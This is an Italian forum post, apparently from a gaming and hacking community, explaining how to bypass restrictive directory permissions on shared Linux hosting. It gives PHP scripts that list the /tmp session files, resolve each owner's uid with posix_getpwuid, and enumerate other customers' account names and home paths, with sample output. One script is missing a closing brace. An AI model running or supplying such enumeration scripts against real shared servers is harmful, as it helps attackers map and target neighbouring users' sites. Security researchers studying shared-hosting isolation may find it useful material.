Salve ospite, se leggi questo messaggio vuol dire che non sei registrato, cosa aspetti ? Premi qui per registrarti La registrazione è completamente gratuita e ti permetterà di usufruire di tutte le funzionalità del nostro forum. Buona navigazione.


Vendo, Compro, Scambio NosTale! Riapre il Black Market, concludi i tuoi scambi NosTale gratuitamente! Più info  -   Accedi alla sezione
Download file Server : File Retro Server NosTale
Visita la nuova sezione di BorderGame dedicata a Blade & Soul! Sezione Blade and Soul

 
Valutazione discussione:
  • 1 voti - 4 media
  • 1
  • 2
  • 3
  • 4
  • 5
Permessi restrittivi Home directory
21-07-2011 01:16 PM
Messaggio: #1
Permessi restrittivi Home directory
¬Bulle†
*
Rynn
Subber
Utente Saggio
Utente Storico

hallucin0gen

Messaggi : 744

Registrato dal : Jun 2011

Reputazione : 151

Stato : Offline


Premi :



Mentre si configura un server Gnu/linux ci si potrebbe imbattere al 50% di possibilità in un problema molto comune, ossia l’impossibilità di superare i permessi restrittivi che ci consentono di elencare le home directory, le cartelle htdocs degli altri utenti sul server.
Qui posterò come raggirare facilment eil problema:
per prima cosa dobbiamo determinare la cartella nella quale ci troviamo, eseguendo questo script:

<?php
die(getcwd());
?>
che dovrebbe restituirci una cartella del tipo /home/www/nostrosito.com e successivamente poi tentiamo di renumerare gli altri siti o utenti nella cartella /home/www/.
Per fare cio, lanciamo ora questo secondo script;

<?php
if ($handle = opendir(‘/home/www/’)) {
while (false !== ($file = readdir($handle))) {
if ($file != “.” && $file != “..”) {
echo “$file\n”;
}
}
closedir($handle);
}
?>
Da qui ora dovremmo trovarci dinanzi al fatidico errore: Warning: opendir(/home/www/) [function.opendir]: failed to open dir: Permission denied in /home/www/nostrosito.com/test.php on line 5

La soluzione è semplice, dobbiamo sfruttare la /tmp ed i file di sessione, elencando gli stessi nella /tmp e prendendo per ognuno l’uid dell’owner con la funzione PHP fileowner.
Dopo aver trovato l’uid dell’owner, procuriamoci con posix_getpwuid le altre informazioni che ci servono, come gid, home path etc.

<?php
$files = glob( “/tmp/sess_*” );
$users = array();
foreach( $files as $file ){
$owner = fileowner($file);
$user = posix_getpwuid($owner);
if( !in_array( $user, $users ) ){
$users[] = $user;
}

foreach( $users as $user ){
$info = str_replace( ‘ ‘, ‘ ‘, print_r($user,true) );
echo nl2br($info);
}
?>
Generando dunque una lista tipo la seguente:

Array
(
[name] => pierino.it
[passwd] => *
[uid] => 52417
[gid] => 52417
[gecos] => pierino.it@pierino.it
[dir] => /home/www/pierino.it
[shell] => /bin/true
)

Array
(
[name] => foobar.com
[passwd] => *
[uid] => 61240
[gid] => 61240
[gecos] => foobar.com@foobar.com
[dir] => /home/www/foobar.com
[shell] => /bin/true

Spero di esservi stato d'aiuto Ok
"Tu non potresti essere Kira.Tu SEI Kira"
İmage
Torna al primo messaggio
Email WWW Cerca Rispondi

PubblicitàLa tua pubblicità qui, clicca per informazioni e per le offerte!

Stanno visualizzando la discussione : 1 Ospite(i)

  • Versione stampabile
  • Invia ad un amico
  • Sottoscrivi questa discussione